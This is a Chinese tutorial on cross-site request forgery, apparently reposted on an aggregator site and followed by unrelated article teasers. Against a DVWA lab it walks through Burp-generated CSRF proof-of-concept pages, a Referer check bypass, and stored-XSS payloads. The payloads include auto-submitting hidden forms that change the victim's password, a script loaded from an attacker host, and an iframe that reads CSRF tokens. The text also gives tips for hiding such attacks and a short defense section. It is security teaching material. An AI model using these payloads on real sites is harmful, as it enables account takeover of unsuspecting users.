burpsuite csrf攻击_WEB安全之CSRF

大家好,我是阿里斯,一名IT行业小白。今天分享的内容是CSRF相关知识,不求表哥们打赏,只求点点在看,点点转发。

CSRF漏洞概述

CSRF(Cross-Site Request Forgery),中文名为跨站请求伪造,是一种Web攻击方式。该漏洞是一种挟持用户在当前已登录的Web应用程序上执行非本意操作的攻击方法。通俗点说就是恶意攻击者窃取了你在某个网站的身份,以你的名义发送恶意请求。

CSRF漏洞可以做什么呢?

它可以以你的名义发邮件、发消息、转账、修改密码、删除文章/留言/评论.......

CSRF漏洞原理

产生原因

网站没有进行严格的身份验证,只验证了请求来自某个用户的浏览器,却不能保证这个请求是用户自愿发出的。

举例:用户阿鱼使用IE浏览器访问网站A,并在该网站有登录状态(未退出登录),这时阿鱼使用IE浏览器访问了网站B,网站B发出一个网站A的密码修改请求,网站A服务器接收修改密码请求后,进行身份验证发现这个请求来源与用户A的浏览器不再检验该请求是否由用户发出,直接进行数据修改操作。

d4a1833d74d2b7f7adab3215eb2564ce.png

CSRF漏洞利用条件

通过CSRF漏洞原理我们可以得知受害者需要完成两个动作才可能被攻击:

1、登录信任网站A,并生成相关的会话信息

2、在没有退出网站A的情况下,使用同一个浏览器访问网站B

不经意发生的事:

1、你不能保证你登录了一个网站后,不再打开另一个页面访问其它网站。

2、你不能保证关闭浏览器之后,你的本地Cookie立刻过期,你上次的会话已经结束。

3、原理图中所谓的B网站(恶意服务器),很有可能是一个存在其它漏洞的可信任网站

CSRF之POC制作

现在有各种工具来完成一个POC的制作,但是工具完成的就是死板,任然需要我们去进行修改,以达到访问即触发,请求不跳转的完美POC。接下来我们使用burpsuite来生成一个简易的POC,然后改造成理想POC。

burpsuite生成CSRF_POC

1、打开你要测试的页面,开启浏览器代理,burpsuite开启拦截,这里我们以dvwa来进行测试

将安全等级调为low,然后找到csrf模块,输入密码进行修改,吧修改密码的请求包拦

250177016a2c156457db71e5a797fe48.png

2、使用burpsuite生POC,在抓到数据表的页面右键,然后按照图片的操作执行即可

500090eafaf040e7341e72aa0ba1ceaa.png

e0f4eed7ed5656dab590c7f3e62eaa8f.png

3、一起来修改代码

4ac9ea0cf586b24adf6de831d20635ee.png

4、测试效果

dvwa这边处于登录状态,然后使用同一浏览,访问刚刚构造的POC

如果你想让攻击更加隐蔽,可以弄一个404的代码或者其它正常的代码,也可以使用纯js构造表单然后加载到一个正常网站的页面中,这就是攻击于无形。

4c6e223414993031d75d81682126485a.png

CSRF分类及靶机演示(DVWA)

CSRF根据请求分为GET类型和POST类型,最初人们以为只有GET类型CSRF是有危害的,后来发现POST类型的CSRF其实同样是可以被利用的。

短链接

为有效实现GET类型的攻击,我们需要把get类型的url进行短url生成

http://tool.chinaz.com/tools/dwz.aspx

csrf绕过referer验证

很多网站会通过验证referer是否合法来判断是否是用户操作,但是他可能只是验证referer中是否包含该网站的referer。如DVWA的判断原理是取出请求中的referer值,然后将host的值取出,然后判断在referer值中有没有出现host值,如果出现则认为是正常请求,否则就拒绝请求。

绕过思路

将攻击文件的文件名改为该网站的域名(请求时的host值).......

<html>  <body>    <form action="http://192.168.1.44/DVWA-master/vulnerabilities/csrf/">      <input type="hidden" name="password_new" value="test" />      <input type="hidden" name="password_conf" value="test" />      <input type="hidden" name="Change" value="Change" />      <input type="submit" value="Submit request" />    form>  body>html>

xss+csrf组合拳----dvwa版

1、打开DVWA,将Security Level等级改为low,进入csrf模块,进行密码修改,这里要使用burpsuite抓包

2、使用burpsuite生成一个csrf的poc

684659f21ef57b5550bd76801077f75e.png

3、copy生成的poc,然后作一个修改(利用iframe控制页面跳转,隐藏信息)

<html>  <body>    <iframe name="target" style="display: none;">iframe>    <form action="http://192.168.1.44/DVWA-master/vulnerabilities/csrf/" id="form" target="target">      <input type="hidden" name="password_new" value="123.com" />      <input type="hidden" name="password_conf" value="123.com" />      <input type="hidden" name="Change" value="Change" />    form>    <script>        var form = document.getElementById('form');        form.submit();    script>  body>html>

4、进入xss模块,将payload放入xss模块即可实现攻击(使用储存型xss)

<script src="x" onerror=javascript:window.open("http://192.168.1.7/st_test/csrf/csrf_low.html")>script>

另外一种方式

# 文件名 csrf_js_pocjsvar form = document.createElement('form');  form.action='http://192.168.1.44/DVWA-master/vulnerabilities/csrf/';  form.target='target';  var pass1 = document.createElement('input');  pass1.name="password_new";  pass1.value = '123456';  var pass2 = document.createElement('input');  pass2.name = 'password_conf';  pass2.value = "123456";  var change = document.createElement('input');  change.name='Change';  change.value='Change';  form.appendChild(pass1);  form.appendChild(pass2);  form.appendChild(change);  document.body.append(form)  form.submit();

payload

<script src="http://192.168.1.7/st_test/csrf/csrf_js_poc.js">script>

csrf结合xss绕过token防御

token作为身份令牌,如果该值足够随机,那么安全系数将是很高的,按照这种逻辑这里不应该存在csrf漏洞,但是如果网站存在XSS漏洞的话,那么这里的token就将形同虚设。我们可以利用xss获取到token值,然后利用该值发起请求,从而构造相应从csrf攻击。但是这里存在一个问题,那就是同源策略会限制我们的脚本,这里我们只能打出token,然后再诱惑用户点击我们构造的页面,这样也会造成危害,但是这里由于token随机性,可能每次刷新页面就会失效,所以可利用的概率就比较小了。

<iframe src='../csrf/' onload="alert(frames[0].document.getElementsByName('user_token')[0].value)">

CSRF防御

服务器角度:

关键操作增加验证码

验证referer

使用足够随机的token

用户角度

养成良好习惯,访问完一个网站,点击退出账户的好习惯

点赞、关注、转发、在看

75c330599010cca42772f9210578929e.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/442635.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

财物机器人英文ppt演讲课件_“如何恰当使用课件动画”

每晚21&#xff1a;30分享教师干货记得当大姜老师还是一名稚嫩的大一新生时&#xff0c;由于小时候家里管的比较严&#xff0c;几乎没什么碰电脑的机会。即便有了难得的机会&#xff0c;也都用来打游戏了......直到上了大学&#xff0c;需要做各种的汇报PPT、课件PPT、演讲PPT&…

curl 请求日志_kong api网关日志 将请求和响应数据附加到磁盘上的日志文件中

术语plugin&#xff1a;在请求被代理到上游API之前或之后&#xff0c;在Kong内部执行操作的插件。Service&#xff1a;表示外部上游 API或微服务的Kong实体。Route&#xff1a;Kong实体&#xff0c;表示将下游请求映射到上游服务的方法。Consumer&#xff1a;表示使用API​​的…

怎么主动发起话题_为什么男生不愿意主动追求女生了?这或许是最终的核心原因...

作为一个在情感领域和心理学领域深耕了许久的半吊子研究人员&#xff0c;对于情感话题一向都比较感兴趣。为什么男生不愿意主动追求女生了&#xff1f;这大概是近两年两性恋爱关系中最热门的话题了&#xff0c;每次都想在问答中回复&#xff0c;都没有想到一个完整的答案&#…

关闭 Pycharm 更新提示

File > settings > Appearance & Behavior > System Settings > Upadates 取消勾选 Automatically check updates for ……

golang errors 取 错误 信息_Golang 单元测试:有哪些误区和实践?

背景测试是保证代码质量的有效手段&#xff0c;而单元测试是程序模块儿的最小化验证。单元测试的重要性是不言而喻的。相对手工测试&#xff0c;单元测试具有自动化执行、可自动回归&#xff0c;效率较高的特点。对于问题的发现效率&#xff0c;单测的也相对较高。在开发阶段编…

节能prru进入深度休眠节能_2021-2024年中国工业节能行业深度调研及投资前景预测报告...

近年来&#xff0c;随着供给侧结构性改革不断深化&#xff0c;工业经济发展势头良好&#xff0c;转型升级步伐进一步加快&#xff0c;生产稳定增长、结构持续优化、效益明显提高、新动能加速成长。随着中国工业节能的政策推力逐渐加大&#xff0c;工业节能市场迅速发展&#xf…

多布局怎么搭建_关键词SEO优化怎么做?具体包括哪些方面?

在互联网的活动中&#xff0c;网站优化是企业们提升网站排名的常用方法之一&#xff0c;这也是进行线上获客的重要手段&#xff0c;超过75%的中小企业都非常认可这种营销方式。但是&#xff0c;想要做好关键词的优化&#xff0c;网站关键词定位、关键词布局、关键词密度等等都是…

使用特征_R语言-使用caret包实现特征选择:递归特征消除(RFE)算法

在caret&#xff08;short for classification and regression training&#xff09;包中有多个函数可以实现特征选择&#xff0c;总的分为封装法和过滤法。封装法&#xff0c;将特征选择过程与训练过程融合在一起&#xff0c;以模型的预测能力作为特征选择的衡量标准。封装法可…

7 centos 查看程序文件数量_「动手打造家庭媒体网络平台」安装篇-centos搭建DLNA媒体服务...

大家好&#xff0c;我是路程lucky&#xff0c;热爱开发、设计、学习、生活、爱捣鼓的web前后端工程师~本文的重点是在之前文章提到创建的centos基础上继续搭建DLNA媒体服务。由于centos的系统是从零开始初步安装完成&#xff0c;我们在安装媒体服务时&#xff0c;不可避免出现各…

python 逻辑回归准确率是1_python数据分析(三)——逻辑回归之学生成绩预测

Python数据分析项目——学生成绩预测一&#xff0e;数据源阿里云天池公开数据集&#xff1a;学生成绩预测数据集https://tianchi.aliyun.com/dataset/dataDetail?dataId6785特征(Features)介绍&#xff1a;Gender: 性别Nationality: 国籍PlaceofBirth&#xff1a;出生地StageI…

向量数量积公式_多法 | 向量数量积相关最值问题的常见处理方法

近日QQ群更新的部分内容如下高中11大类86个易错点全梳理(185页Word)恒成立涉及10大类40小类题型梳理(100页Word)高中数学10大专题100个考点配例题全梳理2020高考真题分类汇编理科(14讲Word)2019年江苏高考数学题根系列(50份Word)2020届江苏高三上期中期末分类汇编(12讲Word)202…

kettle增加字段报错_【实战】使用 Kettle 工具将 mysql 数据增量导入到 MongoDB 中

每一个成功人士的背后&#xff0c;必定曾经做出过勇敢而又孤独的决定。放弃不难&#xff0c;但坚持很酷~最近有一个将 mysql 数据导入到 MongoDB 中的需求&#xff0c;打算使用 Kettle 工具实现。本文章记录了数据导入从 0 到 1 的过程&#xff0c;最终实现了每秒钟快速导入约 …

增量同步_使用Kettle工具进行增量数据同步

增量同步的方式有很多种&#xff0c;我使用的是: 快照表 触发器需求&#xff1a;当主库库表发生增删改时&#xff0c;从库库表与主库库表数据保持一致。环境&#xff1a;1、Mysql2、kettle 7.1思路&#xff1a;1、在主库中&#xff0c;将需要同步的库表新建快照表&#xff0c;…

mysql in优化_MySQL的一次优化记录 (IN子查询和索引优化)

这两天实习项目遇到一个网页加载巨慢的问题(10多秒)&#xff0c;然后定位到是一个MySQL查询特别慢的语句引起的&#xff1a;SELECT *FROM (SELECT DISTINCT t.vc_date, t.c_bankno, t.vc_bankacco, t.vc_moneytype, t.en_totalbala, t.en_usablebala, t1.vc_nameinbank, date_f…

mysql sqlite转换_数据库转换工具(SqliteToMysql)

SqliteToMysql是一款用于SQLITE和MYSQL之间的数据库转换工具。它能够将SQLITE数据转换成MYSQL数据库&#xff0c;让用户自主配置转换条件&#xff0c;满足用户的数据库格式需要。。相关软件软件大小版本说明下载地址SqliteToMysql是一款用于SQLITE和MYSQL之间的数据库转换工具。…

mysql 查看集群状态_MySQL数据库集群正确配置步骤

类型&#xff1a;电子教程大小&#xff1a;8.5M语言&#xff1a;中文 评分&#xff1a;8.3标签&#xff1a;立即下载对MySQL数据库集群进行正确配置的实际操作步骤&#xff0c;以及对其概念的讲述&#xff0c;如果你对其相关的实际操作有兴趣了解的话&#xff0c;以下的文章将会…

oschina mysql limit_MySQL 用 limit 为什么会影响性能?

点击上方“武培轩”&#xff0c;选择“设为星标”技术文章第一时间送达&#xff01;一&#xff0c;前言首先说明一下MySQL的版本&#xff1a;mysql> select version();-----------| version() |-----------| 5.7.17 |-----------1 row in set (0.00 sec)表结构&#xff1a;m…

在mysql中建立聚簇索引_给我一分钟,让你彻底明白MySQL聚簇索引和非聚簇索引...

推荐阅读&#xff1a;吊打面试官&#xff01;MySQL灵魂100问&#xff0c;你能答出多少&#xff1f;MySQL的InnoDB索引数据结构是B树&#xff0c;主键索引叶子节点的值存储的就是MySQL的数据行&#xff0c;普通索引的叶子节点的值存储的是主键值&#xff0c;这是了解聚簇索引和非…

根据从日期控件选定的时间以表格形式显示数据_VB项目开发FlexGrid控件使用讲解...

FlexGrid控件使用介绍大家好&#xff0c;在VB开发管理系统中&#xff0c;FlexGrid控件使用是非常普遍的。用FlexGrid ActiveX控件可以在 Visual Basic的窗体中创建一个电子数据表格&#xff0c;也可称之为网格。FlexGrid ActiveX控件可以在网格中显示任何类型的表格式数据&…

mysql爆内存_线上MySQL数据库机器内存爆掉原因分析与解决

本文主要向大家介绍了线上MySQL数据库机器内存爆掉原因分析与解决&#xff0c;通过具体的内容向大家展现&#xff0c;希望对大家学习MySQL数据库有所帮助。现象&#xff1a;阿里金融某业务的MySQL机器的内存每隔几天就会增长&#xff0c;涨上去后&#xff0c;却不下来。累积后内…